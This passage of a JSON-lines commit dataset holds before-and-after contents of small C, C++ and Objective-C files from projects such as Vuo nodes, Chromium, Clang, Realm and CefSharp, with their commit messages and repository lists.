available.\n","lang":"C","license":"isc","repos":"mvduin\/libsodium,akkakks\/libsodium,soumith\/libsodium,netroby\/libsodium,netroby\/libsodium,akkakks\/libsodium,pmienk\/libsodium,netroby\/libsodium,tml\/libsodium,akkakks\/libsodium,donpark\/libsodium,Payshare\/libsodium,eburkitt\/libsodium,optedoblivion\/android_external_libsodium,soumith\/libsodium,pyparallel\/libsodium,GreatFruitOmsk\/libsodium,tml\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,donpark\/libsodium,donpark\/libsodium,paragonie-scott\/libsodium,rustyhorde\/libsodium,Payshares\/libsodium,akkakks\/libsodium,SpiderOak\/libsodium,Payshare\/libsodium,kytvi2p\/libsodium,rustyhorde\/libsodium,JackWink\/libsodium,HappyYang\/libsodium,soumith\/libsodium,kytvi2p\/libsodium,zhuqling\/libsodium,pyparallel\/libsodium,HappyYang\/libsodium,pmienk\/libsodium,SpiderOak\/libsodium,GreatFruitOmsk\/libsodium,kytvi2p\/libsodium,eburkitt\/libsodium,optedoblivion\/android_external_libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,HappyYang\/libsodium,SpiderOak\/libsodium,optedoblivion\/android_external_libsodium,zhuqling\/libsodium,paragonie-scott\/libsodium,SpiderOak\/libsodium,mvduin\/libsodium,Payshares\/libsodium,GreatFruitOmsk\/libsodium,Payshares\/libsodium,paragonie-scott\/libsodium,JackWink\/libsodium,zhuqling\/libsodium,Payshare\/libsodium,pmienk\/libsodium,mvduin\/libsodium,pyparallel\/libsodium,JackWink\/libsodium,rustyhorde\/libsodium,eburkitt\/libsodium,rustyhorde\/libsodium,tml\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium"}
{"commit":"005112d3d6348f02820bdf1fd5577f4722865ca4","old_file":"parabox.nodes\/co.parabox.text.contains.c","new_file":"parabox.nodes\/co.parabox.text.contains.c","old_contents":"","new_contents":"\/**\n * @file\n * co.parabox.event.drop node implementation.\n *\n * @copyright Copyright © 2012–2014 Kosada Incorporated.\n * This code may be modified and distributed under the terms of the MIT License.\n * For more information, see http:\/\/vuo.org\/license.\n *\/\n\n#include \"node.h\"\n#include \"VuoGlContext.h\"\n#include <OpenGL\/CGLMacro.h>\n#include <stdio.h>\n\nVuoModuleMetadata({\n\t\t\t\t\t \"title\" : \"Text Contains\",\n\t\t\t\t\t \"keywords\" : [ \"has\", \"search\", \"str\", \"string\" ],\n\t\t\t\t\t \"version\" : \"1.0.0\",\n\t\t\t\t\t \"description\": \"Returns true if `text` contains `value`, false otherwise.\",\n\t\t\t\t\t \"node\" : {\n\t\t\t\t\t\t  \"exampleCompositions\" : [ \"\" ]\n\t\t\t\t\t }\n\t\t\t\t });\n\nvoid nodeEvent\n(\n\t\tVuoInputData(VuoText) text,\n\t\tVuoInputData(VuoText) value,\n\t\tVuoOutputData(VuoBoolean) contains\n)\n{\n\tif(text == NULL || value == NULL)\n\t\t*contains = false;\n\telse\n\t\t*contains = strstr(text, value) != NULL;\n}\n","subject":"Add Text Contains node. Fix Make Shader with GLSL incompatibility with newer versions of Vuo.","message":"Add Text Contains node.  Fix Make Shader with GLSL incompatibility with newer versions of Vuo.\n","lang":"C","license":"mit","repos":"bradparks\/vuo-nodes,karl-\/vuo-nodes,karl-\/vuo-nodes,bradparks\/vuo-nodes"}
{"commit":"21c2073f136951a8c7911c74fe37b3fd6ecd9c6b","old_file":"nacl-src\/decoder.h","new_file":"nacl-src\/decoder.h","old_contents":"\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/**\n * Base class for decoders.\n *\/\n\n#ifndef DECODER_H_\n#define DECODER_H_\n\n#include <memory>\n#include <stdint.h>\n#include <vector>\n\n#include \"dsp.h\"\n\nusing namespace std;\n\nnamespace radioreceiver {\n\n\/**\n * Base class for decoders.\n *\/\nclass Decoder {\n public:\n  \/**\n   * Demodulates a block of floating-point samples, producing a block of\n   * stereo audio.\n   * @param samples The samples to decode.\n   * @param inStereo Whether to try decoding a stereo signal.\n   * @return The generated stereo audio block.\n   *\/\n  virtual StereoAudio decode(const Samples& samples, bool inStereo) = 0;\n};\n\n}  \/\/ namespace radioreceiver\n\n#endif  \/\/ DECODER_BASE_H_\n","new_contents":"\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/**\n * Base class for decoders.\n *\/\n\n#ifndef DECODER_H_\n#define DECODER_H_\n\n#include <memory>\n#include <stdint.h>\n#include <vector>\n\n#include \"dsp.h\"\n\nusing namespace std;\n\nnamespace radioreceiver {\n\n\/**\n * Base class for decoders.\n *\/\nclass Decoder {\n public:\n  virtual ~Decoder() {}\n\n  \/**\n   * Demodulates a block of floating-point samples, producing a block of\n   * stereo audio.\n   * @param samples The samples to decode.\n   * @param inStereo Whether to try decoding a stereo signal.\n   * @return The generated stereo audio block.\n   *\/\n  virtual StereoAudio decode(const Samples& samples, bool inStereo) = 0;\n};\n\n}  \/\/ namespace radioreceiver\n\n#endif  \/\/ DECODER_BASE_H_\n","subject":"Add virtual destructor to base class.","message":"Add virtual destructor to base class.\n","lang":"C","license":"apache-2.0","repos":"smcclure879\/radioreceiver,google\/radioreceiver,smcclure879\/radioreceiver,google\/radioreceiver,smcclure879\/radioreceiver"}
{"commit":"12234c5886d3a12539fa3c04ec00263155641aed","old_file":"MoabReader\/ExtractShell.h","new_file":"MoabReader\/ExtractShell.h","old_contents":"","new_contents":"#ifndef __smoab_ExtractShell_h\n#define __smoab_ExtractShell_h\n\n#include \"SimpleMoab.h\"\n#include \"detail\/LoadGeometry.h\"\n#include \"detail\/ReadMaterialTag.h\"\n\n#include <vtkUnstructuredGrid.h>\n#include <vtkPolyData.h>\n\n#include <algorithm>\n\nnamespace smoab{\n\n\n\/\/we presume that we are extract the shell of a 3d volume, where the 2d\n\/\/surface elements that constructed the 3d volume are contained\n\/\/in the input parents\nclass ExtractShell\n{\n  const smoab::Interface& Interface;\n  const smoab::Range& Parents;\n  std::string MaterialName;\n  smoab::Range SCells;\n\npublic:\n  ExtractShell(const smoab::Interface& interface, const smoab::Range& parents):\n    Interface(interface),\n    Parents(parents),\n    MaterialName(\"Material\")\n    {\n    const smoab::GeomTag geom2Tag(2);\n    \/\/append all the entities cells together into a single range\n    typedef smoab::Range::const_iterator iterator;\n    for(iterator i=this->Parents.begin(); i!= this->Parents.end(); ++i)\n      {\n      \/\/find all 2d cells\n      smoab::Range entitiesCells =\n          this->Interface.findEntitiesWithDimension(*i,geom2Tag);\n      this->SCells.insert(entitiesCells.begin(),entitiesCells.end());\n      }\n\n    std::cout << \"SCells size\" << this->SCells.size() << std::endl;\n    }\n\n  \/\/----------------------------------------------------------------------------\n  template<typename T>\n  bool fill(T* grid)\n  {\n  \/\/we have all the volume cells, what we need is to compare these\n  \/\/volume cells to a collection of surface cells\n  const smoab::GeomTag geom2Tag(2);\n\n  \/\/save the results into the grid\n  detail::LoadGeometry loadGeom(this->SCells,this->Interface);\n  loadGeom.fill(grid);\n\n  vtkNew<vtkIntArray> materials;\n  materials->SetName(this->MaterialName.c_str());\n  detail::ReadMaterialTag materialReader(this->MaterialName,\n                                         this->Parents,\n                                         this->SCells,\n                                         this->Interface);\n\n\n  \/\/fill the material array using geom2tag to determine how cells\n  \/\/maps back to the parents.\n  materialReader.fill(materials.GetPointer(),&geom2Tag);\n  grid->GetCellData()->AddArray(materials.GetPointer());\n\n\n  \/\/to properly label the model face \/ side information we need to query\n  \/\/for all the volume elements and find the 2d adjacencies of the 2d element\n  \/\/and 3 elements\n\n  return true;\n  }\n\n  void materialIdName(const std::string& name) { this->MaterialName = name; }\n};\n}\n\n#endif \/\/ EXTRACTSHELL_H\n","subject":"Introduce the explicit Shell reader which makes polydata from moab.","message":"Introduce the explicit Shell reader which makes polydata from moab.\n\nThis is very similar to creating a dataSetConverter that is giving\n3d parents and asked to extract the 2d cells only. The big difference is that\nwe will try to relate the 2d cells back to any 3d cells in the 3d parents.\n","lang":"C","license":"bsd-2-clause","repos":"robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox"}
{"commit":"45d1a525caae45b9d1bbecd3f472442e5d17de65","old_file":"system.c","new_file":"system.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"system.h\"\n\nvoid SystemPause() {\n\tputs(\"\\nPress Enter to continue...\");\n\twhile (getchar() != '\\n') {}\n}\n\nvoid SystemClear() {\n\tsystem(\"clear\");\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"system.h\"\n\nvoid SystemPause() {\n\tputs(\"\\nPress Enter to continue...\");\n\twhile (getchar() != '\\n') {}\n}\n\nvoid SystemClear() {\n\tfputs(\"\\033[2J\\033[H\", stdout);\n}\n","subject":"Use escape sequence to clear screen","message":"Use escape sequence to clear screen\n","lang":"C","license":"mit","repos":"pathawks\/Castle"}
{"commit":"6d94dba7a5c4660c82ca2e55c1167129e4bb812a","old_file":"Realm\/RLMSchema_Private.h","new_file":"Realm\/RLMSchema_Private.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2014 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n    \n#import <Realm\/RLMSchema.h>\n#import <Realm\/RLMDefines.h>\n\nRLM_ASSUME_NONNULL_BEGIN\n\n@class RLMRealm;\n\n\/\/\n\/\/ RLMSchema private interface\n\/\/\n@class RLMRealm;\n@interface RLMSchema ()\n@property (nonatomic, readwrite, copy) NSArray *objectSchema;\n\n\/\/ schema based on runtime objects\n+ (instancetype)sharedSchema;\n\n\/\/ schema based on tables in a Realm\n+ (instancetype)dynamicSchemaFromRealm:(RLMRealm *)realm;\n\n\/\/ class for string\n+ (nullable Class)classForString:(NSString *)className;\n\n\/\/ shallow copy for reusing schema properties accross the same Realm on multiple threads\n- (instancetype)shallowCopy;\n\n@end\n\nRLM_ASSUME_NONNULL_END\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2014 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n    \n#import <Realm\/RLMSchema.h>\n#import <Realm\/RLMDefines.h>\n\nRLM_ASSUME_NONNULL_BEGIN\n\n@class RLMRealm;\n\n\/\/\n\/\/ RLMSchema private interface\n\/\/\n@class RLMRealm;\n@interface RLMSchema ()\n@property (nonatomic, readwrite, copy) NSArray *objectSchema;\n\n\/\/ schema based on runtime objects\n+ (nullable instancetype)sharedSchema;\n\n\/\/ schema based on tables in a Realm\n+ (instancetype)dynamicSchemaFromRealm:(RLMRealm *)realm;\n\n\/\/ class for string\n+ (nullable Class)classForString:(NSString *)className;\n\n\/\/ shallow copy for reusing schema properties accross the same Realm on multiple threads\n- (instancetype)shallowCopy;\n\n@end\n\nRLM_ASSUME_NONNULL_END\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Mark +[RLMSchema sharedSchema] as nullable.","message":"Mark +[RLMSchema sharedSchema] as nullable.\n","lang":"C","license":"apache-2.0","repos":"ul7290\/realm-cocoa,sunzeboy\/realm-cocoa,lumoslabs\/realm-cocoa,Havi4\/realm-cocoa,duk42111\/realm-cocoa,sunfei\/realm-cocoa,bugix\/realm-cocoa,bestwpw\/realm-cocoa,lumoslabs\/realm-cocoa,nathankot\/realm-cocoa,Havi4\/realm-cocoa,bestwpw\/realm-cocoa,hejunbinlan\/realm-cocoa,vuchau\/realm-cocoa,vuchau\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,isaacroldan\/realm-cocoa,ul7290\/realm-cocoa,ChenJian345\/realm-cocoa,kylebshr\/realm-cocoa,kevinmlong\/realm-cocoa,sunfei\/realm-cocoa,bugix\/realm-cocoa,hejunbinlan\/realm-cocoa,HuylensHu\/realm-cocoa,thdtjsdn\/realm-cocoa,ul7290\/realm-cocoa,bestwpw\/realm-cocoa,isaacroldan\/realm-cocoa,dilizarov\/realm-cocoa,zilaiyedaren\/realm-cocoa,dilizarov\/realm-cocoa,Havi4\/realm-cocoa,yuuki1224\/realm-cocoa,bestwpw\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,xmartlabs\/realm-cocoa,neonichu\/realm-cocoa,bugix\/realm-cocoa,kevinmlong\/realm-cocoa,thdtjsdn\/realm-cocoa,iOSCowboy\/realm-cocoa,kevinmlong\/realm-cocoa,nathankot\/realm-cocoa,neonichu\/realm-cocoa,Palleas\/realm-cocoa,tenebreux\/realm-cocoa,thdtjsdn\/realm-cocoa,isaacroldan\/realm-cocoa,sunzeboy\/realm-cocoa,sunzeboy\/realm-cocoa,hejunbinlan\/realm-cocoa,Palleas\/realm-cocoa,hejunbinlan\/realm-cocoa,kylebshr\/realm-cocoa,bestwpw\/realm-cocoa,codyDu\/realm-cocoa,iOSCowboy\/realm-cocoa,neonichu\/realm-cocoa,ChenJian345\/realm-cocoa,yuuki1224\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,duk42111\/realm-cocoa,kylebshr\/realm-cocoa,xmartlabs\/realm-cocoa,vuchau\/realm-cocoa,yuuki1224\/realm-cocoa,thdtjsdn\/realm-cocoa,sunfei\/realm-cocoa,sunzeboy\/realm-cocoa,Havi4\/realm-cocoa,isaacroldan\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,sunfei\/realm-cocoa,Palleas\/realm-cocoa,sunzeboy\/realm-cocoa,bugix\/realm-cocoa,dilizarov\/realm-cocoa,nathankot\/realm-cocoa,imjerrybao\/realm-cocoa,ChenJian345\/realm-cocoa,dilizarov\/realm-cocoa,thdtjsdn\/realm-cocoa,codyDu\/realm-cocoa,isaacroldan\/realm-cocoa,ChenJian345\/realm-cocoa,imjerrybao\/realm-cocoa,codyDu\/realm-cocoa,yuuki1224\/realm-cocoa,codyDu\/realm-cocoa,brasbug\/realm-cocoa,neonichu\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,zilaiyedaren\/realm-cocoa,codyDu\/realm-cocoa,vuchau\/realm-cocoa,vuchau\/realm-cocoa,lumoslabs\/realm-cocoa,brasbug\/realm-cocoa,xmartlabs\/realm-cocoa,zilaiyedaren\/realm-cocoa,brasbug\/realm-cocoa,tenebreux\/realm-cocoa,kylebshr\/realm-cocoa,dilizarov\/realm-cocoa,hejunbinlan\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,Palleas\/realm-cocoa,sunfei\/realm-cocoa,lumoslabs\/realm-cocoa,iOSCowboy\/realm-cocoa,tenebreux\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,iOSCowboy\/realm-cocoa,Palleas\/realm-cocoa,brasbug\/realm-cocoa,tenebreux\/realm-cocoa,neonichu\/realm-cocoa,zilaiyedaren\/realm-cocoa,imjerrybao\/realm-cocoa,zilaiyedaren\/realm-cocoa,duk42111\/realm-cocoa,imjerrybao\/realm-cocoa,HuylensHu\/realm-cocoa,ul7290\/realm-cocoa,HuylensHu\/realm-cocoa,lumoslabs\/realm-cocoa,kevinmlong\/realm-cocoa,ChenJian345\/realm-cocoa,bugix\/realm-cocoa,imjerrybao\/realm-cocoa,yuuki1224\/realm-cocoa,kevinmlong\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,tenebreux\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,iOSCowboy\/realm-cocoa,Havi4\/realm-cocoa,HuylensHu\/realm-cocoa,brasbug\/realm-cocoa,duk42111\/realm-cocoa,xmartlabs\/realm-cocoa,ul7290\/realm-cocoa,duk42111\/realm-cocoa,HuylensHu\/realm-cocoa,kylebshr\/realm-cocoa,xmartlabs\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,nathankot\/realm-cocoa,nathankot\/realm-cocoa"}
{"commit":"670d2cc2fbc4489b14e2874ccf8bfbb13a44ca91","old_file":"test\/Modules\/Inputs\/stress1\/merge_no_reexport.h","new_file":"test\/Modules\/Inputs\/stress1\/merge_no_reexport.h","old_contents":"","new_contents":"#ifndef STRESS1_MERGE_NO_REEXPORT_H\n#define STRESS1_MERGE_NO_REEXPORT_H\n\n#include \"m00.h\"\n#include \"m01.h\"\n#include \"m02.h\"\n#include \"m03.h\"\n\n#endif\n","subject":"Add file missed from r244409.","message":"Add file missed from r244409.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@244410 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"fdae0200e90f6ca93fda8f992002b03629f75d15","old_file":"net\/server\/http_server_response_info.h","new_file":"net\/server\/http_server_response_info.h","old_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SERVER_HTTP_SERVER_RESPONSE_INFO_H_\n#define NET_SERVER_HTTP_SERVER_RESPONSE_INFO_H_\n\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"net\/http\/http_status_code.h\"\n\nnamespace net {\n\nclass HttpServerResponseInfo {\n public:\n  \/\/ Creates a 200 OK HttpServerResponseInfo.\n  HttpServerResponseInfo();\n  explicit HttpServerResponseInfo(HttpStatusCode status_code);\n  ~HttpServerResponseInfo();\n\n  static HttpServerResponseInfo CreateFor404();\n  static HttpServerResponseInfo CreateFor500(const std::string& body);\n\n  void AddHeader(const std::string& name, const std::string& value);\n\n  \/\/ This also adds an appropriate Content-Length header.\n  void SetBody(const std::string& body, const std::string& content_type);\n  \/\/ Sets content-length and content-type. Body should be sent separately.\n  void SetContentHeaders(size_t content_length,\n                         const std::string& content_type);\n\n  std::string Serialize() const;\n\n  HttpStatusCode status_code() const;\n  const std::string& body() const;\n\n private:\n  typedef std::vector<std::pair<std::string, std::string> > Headers;\n\n  HttpStatusCode status_code_;\n  Headers headers_;\n  std::string body_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SERVER_HTTP_SERVER_RESPONSE_INFO_H_\n","new_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SERVER_HTTP_SERVER_RESPONSE_INFO_H_\n#define NET_SERVER_HTTP_SERVER_RESPONSE_INFO_H_\n\n#include <string>\n#include <utility>\n\n#include \"base\/strings\/string_split.h\"\n#include \"net\/http\/http_status_code.h\"\n\nnamespace net {\n\nclass HttpServerResponseInfo {\n public:\n  \/\/ Creates a 200 OK HttpServerResponseInfo.\n  HttpServerResponseInfo();\n  explicit HttpServerResponseInfo(HttpStatusCode status_code);\n  ~HttpServerResponseInfo();\n\n  static HttpServerResponseInfo CreateFor404();\n  static HttpServerResponseInfo CreateFor500(const std::string& body);\n\n  void AddHeader(const std::string& name, const std::string& value);\n\n  \/\/ This also adds an appropriate Content-Length header.\n  void SetBody(const std::string& body, const std::string& content_type);\n  \/\/ Sets content-length and content-type. Body should be sent separately.\n  void SetContentHeaders(size_t content_length,\n                         const std::string& content_type);\n\n  std::string Serialize() const;\n\n  HttpStatusCode status_code() const;\n  const std::string& body() const;\n\n private:\n  using Headers = base::StringPairs;\n\n  HttpStatusCode status_code_;\n  Headers headers_;\n  std::string body_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SERVER_HTTP_SERVER_RESPONSE_INFO_H_\n","subject":"Use of base::StringPairs appropriately in server","message":"Use of base::StringPairs appropriately in server\n\nBescause base\/strings\/string_split.h defines:\ntypedef std::vector<std::pair<std::string, std::string> > StringPairs;\n\nBUG=412250\n\nReview URL: https:\/\/codereview.chromium.org\/1093823005\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#327241}\n","lang":"C","license":"bsd-3-clause","repos":"Chilledheart\/chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk"}
{"commit":"904957e60a296aa04db2384b7d69f0e382656740","old_file":"Modules\/News\/iPad\/MITCollectionViewGridLayoutSection.h","new_file":"Modules\/News\/iPad\/MITCollectionViewGridLayoutSection.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@class MITCollectionViewNewsGridLayout;\n\n@interface MITCollectionViewGridLayoutSection : NSObject\n@property (nonatomic,readonly,weak) MITCollectionViewNewsGridLayout *layout;\n@property (nonatomic,readonly) NSInteger section;\n\n@property (nonatomic) CGPoint origin;\n@property (nonatomic) UIEdgeInsets contentInsets;\n\n@property (nonatomic, readonly) CGSize bounds;\n@property (nonatomic,readonly) CGRect frame;\n\n@property (nonatomic,readonly,strong) UICollectionViewLayoutAttributes *headerLayoutAttributes;\n@property (nonatomic,readonly,strong) UICollectionViewLayout *featuredItemLayoutAttributes;\n@property (nonatomic,readonly,strong) NSArray *itemLayoutAttributes;\n\n+ (instancetype)sectionWithLayout:(MITCollectionViewNewsGridLayout*)layout section:(NSInteger)section;\n- (NSArray*)layoutAttributesInRect:(CGRect)rect;\n- (UICollectionViewLayoutAttributes*)layoutAttributesForItemAtIndexPath:(NSIndexPath*)indexPath;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@class MITCollectionViewNewsGridLayout;\n\n@interface MITCollectionViewGridLayoutSection : NSObject\n@property (nonatomic,readonly,weak) MITCollectionViewNewsGridLayout *layout;\n@property (nonatomic,readonly) NSInteger section;\n\n@property (nonatomic) CGPoint origin;\n@property (nonatomic) UIEdgeInsets contentInsets;\n\n@property (nonatomic,readonly) CGRect bounds;\n@property (nonatomic,readonly) CGRect frame;\n\n@property (nonatomic,readonly,strong) UICollectionViewLayoutAttributes *headerLayoutAttributes;\n@property (nonatomic,readonly,strong) UICollectionViewLayoutAttributes *featuredItemLayoutAttributes;\n@property (nonatomic,readonly,strong) NSArray *itemLayoutAttributes;\n\n+ (instancetype)sectionWithLayout:(MITCollectionViewNewsGridLayout*)layout forSection:(NSInteger)section numberOfColumns:(NSInteger)numberOfColumns;\n- (NSArray*)layoutAttributesInRect:(CGRect)rect;\n- (UICollectionViewLayoutAttributes*)layoutAttributesForItemAtIndexPath:(NSIndexPath*)indexPath;\n\n@end\n","subject":"Clean up some inconsistencies in the section helper header","message":"Clean up some inconsistencies in the section helper header\n","lang":"C","license":"lgpl-2.1","repos":"MIT-Mobile\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS,MIT-Mobile\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS"}
{"commit":"5e0171da9259c8261ec8661a099c35a2ed8c0733","old_file":"CefSharp\/IRequestHandler.h","new_file":"CefSharp\/IRequestHandler.h","old_contents":"\/\/ Copyright  2010-2013 The CefSharp Project. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"IRequestResponse.h\"\n\nusing namespace System;\nusing namespace System::Net;\n\nnamespace CefSharp\n{\n    public enum class NavigationType\n    {\n        LinkClicked = NAVIGATION_LINK_CLICKED,\n        FormSubmitted = NAVIGATION_FORM_SUBMITTED,\n        BackForward = NAVIGATION_BACK_FORWARD,\n        Reload = NAVIGATION_RELOAD,\n        FormResubmitted = NAVIGATION_FORM_RESUBMITTED,\n        Other = NAVIGATION_OTHER\n    };\n\n    public interface class IRequestHandler\n    {\n    public:\n        bool OnBeforeBrowse(IWebBrowser^ browser, IRequest^ request, NavigationType navigationType, bool isRedirect);\n        bool 